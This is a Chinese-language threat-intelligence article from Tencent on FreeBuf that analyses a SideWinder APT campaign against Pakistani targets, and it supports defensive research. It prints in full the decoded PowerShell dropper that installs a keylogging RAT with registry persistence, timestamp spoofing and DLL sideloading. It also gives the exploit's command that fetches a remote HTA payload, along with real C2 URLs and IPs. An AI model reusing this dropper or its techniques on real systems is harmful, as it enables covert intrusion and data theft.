freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁
2018-05-30 08:30:18
所属地 广东省

0x1 概况

近日腾讯御见威胁情报中心捕获到了SideWinder“响尾蛇” APT组织的一个最新攻击样本,该APT组织疑似来自印度,最早活跃可追溯到2012年。主要针对巴基斯坦等南亚国家的军事目标进行定向攻击。

SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁

本次捕获的诱饵文档中的关键字主要有“Government of Pakistan Economic Affairs Division”(巴基斯坦政府经济事务部)、“2018 bilateral training programme plan for pakistan in china”(2018巴基斯坦双边培训计划),因此我们推测此次主要是在对南亚进行定向攻击。

SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁

攻击流程图

0x2 载荷投递

该组织使用了一份名为《2018 Bilateral Training in China.doc》的诱饵文档进行载荷投递。该文档使用了CVE-2017-11882漏洞。当漏洞触发后,公式编辑器进程中的shellcode会将命令行改为“caller.exe http://www.google.com.d-dns.co/includes/686a0ea5/-1/1223/da897db0/final.hta”,接着shelloce会调用mshtml.dll中RunHTMLApplication,RunHTMLApplication会调用GetCommandLineW API取出命令行中的url,从而将final.hta中的脚本给执行起来。

SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁

诱饵文档

SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁

(修改原始命令行)

SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁

执行mshtml.RunHTMLApplication

SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁

(final.hta部分内容)

Final.hta中的脚本会调用powershell.exe将脚本中存储的rat释放到“C:\ProgramData\cmdl32\Update”目录,并将rat给执行起来。

SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁

(加密的powershell 命令行)

Powershell中的base64编码的脚本功能主要是释放木马到C:\ProgramData\cmdl32\Update目录,创建开机自启动项,并执行木马文件。加密的Poweshell命令行解码后明文如下:

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force;

$ErrorActionPreference='SilentlyContinue';

$pname36 = "3" + "60Tr" + "ay"

$binDir = $env:PROGRAMDATA + "\cmdl32\Updater\";

try{

$cmdLine = ([int]$c).toString("00000000")+([int]$m).toString("00000000");

$cmdLine = "cliconfig32.exe " +$cmdLine;

}

catch{

$cmdLine = "cliconfig32.exe";

}

$line = new-object byte[] 64;

$buf6 =[Byte[]] (,0x23 * 64);

$cbytes = [system.Text.Encoding]::ASCII.GetBytes($cmdLine);

[array]::copy($cbytes,$line,$cbytes.length);

$binPath = $binDir + "cliconfig32.exe";

$binPathdll = $binDir + "cmpbk32.dll";

$dmybinPath = $binDir + "cmdl32.exe";

$rpcdllpath = $binDir + "C39E343F.dll";

$run = 'HKCU:Software\Microsoft\Windows\CurrentVersion\Run\';

$system = 'HKCU:Software\Updater';

$runExists = False;

$pnameavr = "av" + "gn" + "t";

$msvbvmdllpath = $env:WINDIR + "\system32\msvbvm60.dll"

$cmdl32path = $env:WINDIR + "\system32\cmdl32.exe"

$q36 = Get-Process $pname36 -ErrorAction SilentlyContinue;

if($q36){

exit

}

function dc($s){

sal n New-Object;

$data = [System.Convert]::FromBase64String("H4sIAAAAAAA" + $s);

$ms = n System.IO.MemoryStream;

$ms.Write($data, 0, $data.Length);

$ms.Seek(0,0) | Out-Null;

return (n System.IO.StreamReader(n System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

};

function updt($t, $b){

(ls $t).LastWriteTime =  (ls $b).LastWriteTime

(ls $t).CreationTime = (ls $b).CreationTime

(ls $t).LastAccessTime = (ls $b).LastAccessTime

}

function wb64($path, $b64){

$bytes = [System.Convert]::FromBase64String("TVq" + $b64);

New-Item -ItemType Directory -Force -Path $binDir | Out-Null;

[io.file]::WriteAllBytes($path,$bytes) | Out-Null;

updt -t $path -b $cmdl32path

}

function sb($h, $n ) {

    $len = $n.length;

    $limit = $h.length - $len;

    For( $i = 0;  $i -le $limit;  $i++ ) {

        $k = 0;

        For( ;  $k -lt $len;  $k++ ) {

            if( $n[$k] -ne $h[$i+$k] ) {break};

        }

        if( $k -eq $len ){return $i};

    }

    return -1;

}

if((Test-Path $env:WINDIR\SysWOW64)){

$msvbvmdllpath = $env:WINDIR + "\SysWOW64\msvbvm60.dll"

$cmdl32path = $env:WINDIR + "\SysWOW64\cmdl32.exe"

}

try{

if(!(Test-Path $binPath)){

$b64 = dc -s ((Get-ItemProperty -Path $system).part1);

$bytes = [System.Convert]::FromBase64String("TVq" + $b64);

$rn = [System.BitConverter]::GetBytes((Get-Random -Maximum 9999 -Minimum 1111))[0..1];

[array]::copy($rn,0,$bytes,$bytes.length - 2,2);

New-Item -ItemType Directory -Force -Path $binDir | Out-Null;

[io.file]::WriteAllBytes($binPath,$bytes) | Out-Null;

updt -t $binPath -b $cmdl32path

$b64dll = dc -s ((Get-ItemProperty -Path $system).part2);

        $bytes = [System.Convert]::FromBase64String("TVq" + $b64dll);

[array]::copy($line,0,$bytes,(sb -h $bytes -n $buf6),64);

New-Item -ItemType Directory -Force -Path $binDir | Out-Null;

[io.file]::WriteAllBytes($binPathdll,$bytes) | Out-Null;

updt -t $binPathdll -b $cmdl32path

}

Remove-Item -Path $system | Out-Null;

Remove-Item $PROFILE.CurrentUserAllHosts | Out-Null;

New-ItemProperty -Path $run -Name "Winsound" -PropertyType String -Value $dmybinPath | Out-Null;

Copy-Item  $msvbvmdllpath $rpcdllpath

updt -t $rpcdllpath -b $msvbvmdllpath

Copy-Item $cmdl32path $dmybinPath

updt -t $dmybinPath -b $cmdl32path

$avr = Get-Process $pnameavr -ErrorAction SilentlyContinue

if (!$avr) {

&($dmybinPath) | Out-Null;

}

Exit

}

catch {

$_.Exception.Message | Out-Null;

}

SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁

(最终的木马文件)

0x3 RAT(Remote Access Trojan,远程访问木马)分析

1. cmpbk32.dll 行为分析

上文中的脚本最终会将cmdl32.exe执行起来,cmdl32.exe为微软的系统文件,该exe依赖cmpbk32.dll,此处使用了白利用技术。cmpbk32.dll为恶意木马文件,cmpbk32.dll执行时会将cliconfig32.exe给执行起来。

SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁

cmdl32.exe文件信息

SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁

(cmpbk32.dll)

2. cliconfig32.exe 行为分析

木马的核心功能都在cliconfig32.exe中,该exe为vb语言编写,依赖C39E343F.dll。C39E343F.dll其实为微软的正常系统文件MSVBVM60.DLL。

C39E343F.dll文件信息

(C39E343F.dll文件信息)

cliconfig32.exe 主要类信息

(cliconfig32.exe 主要类信息)

cliconfig32.exe会通过读注册表的方式获取系统的ProductId、DigitalProductId、时区、cpu等信息。

获取ProductId等信息

(获取ProductId等信息)

获取时区信息

(获取时区信息)

接着会调用RC4类中的解密函数,对资源中的木马配置信息进行解密,再调用MemoryStream中的序列化函数解析配置信息中的各个字段。最终会将木马配置信息存储在HKEY_CURRENT_USER\Software\WinSound注册表项。

读取资源

读取资源

解密后的配置信息

(解密后的配置信息)

配置信息中的部分明文字符串信息如下如示,从而可以确定该木马主要是一款后门木马,基本功能可能有文件和注册表操作、创建进程等。

dump到的明文配置信息

(dump到的明文配置信息)

C2相关的明文配置信息如下所示:

http://s2.cdn-edge.net/checkout.php

http://s2.cdn-edge.net/cart.php

http://s2.cdn-edge.net/amount.php

http://%wn34%wn%wh2%wh%wn738%wn.net/v3/checkout.php

http://%wn34%wn%wh2%wh%wn738%wn.net/v3/cart.php

http://%wn34%wn%wh2%wh%wn738%wn.net/v3/amount.php

http://%dn34%dn%dh2%dh%dn738%dn.net/v3/checkout.php

http://%dn34%dn%dh2%dh%dn738%dn.net/v3/cart.php

http://%dn34%dn%dh2%dh%dn738%dn.net/v3/amount.php

http://ap12.ms-update-server.net/checkout.php

http://ap12.ms-update-server.net/cart.php

http://ap12.ms-update-server.net/amount.php

http://%wn34%wn%wh2%wh%wn738%wn.net/v3/checkout.php

http://%wn34%wn%wh2%wh%wn738%wn.net/v3/cart.php

http://%wn34%wn%wh2%wh%wn738%wn.net/v3/amount.php

http://%dn34%dn%dh2%dh%dn738%dn.net/v3/checkout.php

http://%dn34%dn%dh2%dh%dn738%dn.net/v3/cart.php

http://%dn34%dn%dh2%dh%dn738%dn.net/v3/amount.p

 木马会安装键盘和鼠标钩子记录键盘按键,并存储在C:\ProgramData\w32k.dat,并将其它收集的系统信息(包括并不仅限于CPU、计算机名、磁盘大小等信息)存储在C:\ProgramData\Tmp目录,然后调用WebClient类中的DoGet、DoPost函数将文件中收集的信息发送给c2。

在文件存储和读取时使用的类分别是CryptoFileWriter和CryptoFileReader,上传文件时使用类为 FilePoster

安装键盘钩子

(安装键盘钩子)

安装鼠标钩子

(安装鼠标钩子)

http post时的参数

(http post时的参数)

收集的信息:包括并不仅限于CPU、计算机名、磁盘大小等

(收集的信息:包括并不仅限于CPU、计算机名、磁盘大小等)

0x4 总结

从上文的分析可以看出,该组织将cve-2017-11882漏洞与RunHTMLApplication后门技术相结合,技术功底深厚。同时利用纯vb语言编写木马,再结合白利用技术,大大增加了后门木马的检出和逆向分析难度。从信息收集、明文字符串加解密、木马功能函数等方面可以看出该木马版本已趋于稳定。因此,我们提醒政府、企业等广大用户,切勿随意打开来历不明的文档,同时安装安全软件。

目前,腾讯御界高级威胁检测系统已经可以检测并阻断该轮攻击的连接行为。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。

凭借基于行为的防护和智能模型两大核心能力,御界高级威胁检测系统可高效检测未知威胁,并通过对企业内外网边界处网络流量的分析,感知漏洞的利用和攻击。通过部署御界高级威胁检测系统,及时感知恶意流量,检测钓鱼网址和远控服务器地址在企业网络中的访问情况,保护企业网络安全。

SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁

附录(IOCs)

Md5:

3cd725172384297732222ef9c8f74adc(doc)

c0f15436912d8a63dbb7150d95e6a4ee(doc)

dbb45a0839719312f248351e3fb9a0ae(cmdl32.exe)

de7f526d4f60b59bb1626770f329f984(cmpbk32.dll)

204860ce22c81c6d9de763c09e989a20(cliconfig32.exe)

5343a19c618bc515ceb1695586c6c137(c39e343f.dll)

fe2d78d90cea90477776a36fd8e57deb(cliconfig32.exe)

f03c0390d0a655450f1b10ea4057b06e(cmpbk32.dll) 

C2:

http://s2.cdn-edge.net/checkout.php

http://s2.cdn-edge.net/cart.phpB

http://s2.cdn-edge.net/amount.php

37.139.29.117

http://ap12.ms-update-server.net/checkout.php

http://ap12.ms-update-server.net/cart.php

http://ap12.ms-update-server.net/amount.php

188.241.68.144

url:

http://www.google.com.d-dns.co/includes/686a0ea5/-1/1223/da897db0/final.hta

http://fb-dn.net/disrt/fin.hta

关键路径:

C:\ProgramData\cmdl32\Updater

C:\ProgramData\wk32.dat

C:\ProgramData\Tmp

C:\ProgramData\cmdl32\Updater\ wk32.dat

注册表:

HKEY_CURRENT_USER\Software\WinSound

*本文作者:腾讯电脑管家,转载请注明来自 FreeBuf.COM

# SideWinder # T-APT-04
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者